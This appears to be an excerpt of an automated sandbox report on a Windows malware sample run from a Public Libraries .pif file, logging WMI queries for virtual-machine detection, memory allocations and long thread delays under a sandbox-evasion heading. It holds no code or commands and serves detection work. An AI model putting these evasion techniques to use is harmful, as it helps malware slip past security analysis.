Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 27F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 29C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 29A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 24F10000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 26F50000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 26D70000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 206D0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 22710000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Memory allocated: 22320000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\xrbjyllC.pif

9_2_004019F0

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598222	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598068	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597946	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596981	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596767	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596528	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596416	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596304	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596050	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595810	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595698	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595585	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595249	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595123	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594911	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594789	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594677	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594564	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594439	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594177	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593997	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593658	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593506	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593369	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593196	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593011	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 592620	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 592105	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 591918	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 591659	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599891
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599781
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599672
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599562
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599453
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599344
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599124
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599007
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598891
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598780
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598422
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598297
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598172
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598062
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597953
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597844
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597719
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597609
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597500
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597391
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597281
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597172
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597062
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596953
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596844
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596734
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596625
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596515
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596406
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596297
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596187
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596078
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595932
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595813
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595700
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595579
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595466
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595344
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595016
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594906
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594797
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594687
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594578
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594469
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599889
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599781
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599671
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599562
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599453
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599343
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599015
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598906
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598796
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598686
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598578
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598461
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598310
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598185
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598078
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597968
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597859
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597750
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597640
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597531
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597421
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597312
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597203
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597093
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596981
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596875
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596765
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596656
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596546
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596437
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596328
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596218
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596109
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595999
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595890
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595781
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595671
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595562
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595453
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595343
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595015
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594891
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594765
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594656
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594546
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594437

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window / User API: threadDelayed 2941	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window / User API: threadDelayed 6101	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window / User API: threadDelayed 1823
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window / User API: threadDelayed 8024
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window / User API: threadDelayed 7725
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Window / User API: threadDelayed 2129

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Evasive API call chain: GetLocalTime,DecisionNodes

Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4144	Thread sleep count: 2941 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4144	Thread sleep count: 6101 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598860s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598222s >= -30000s	Jump to behavior
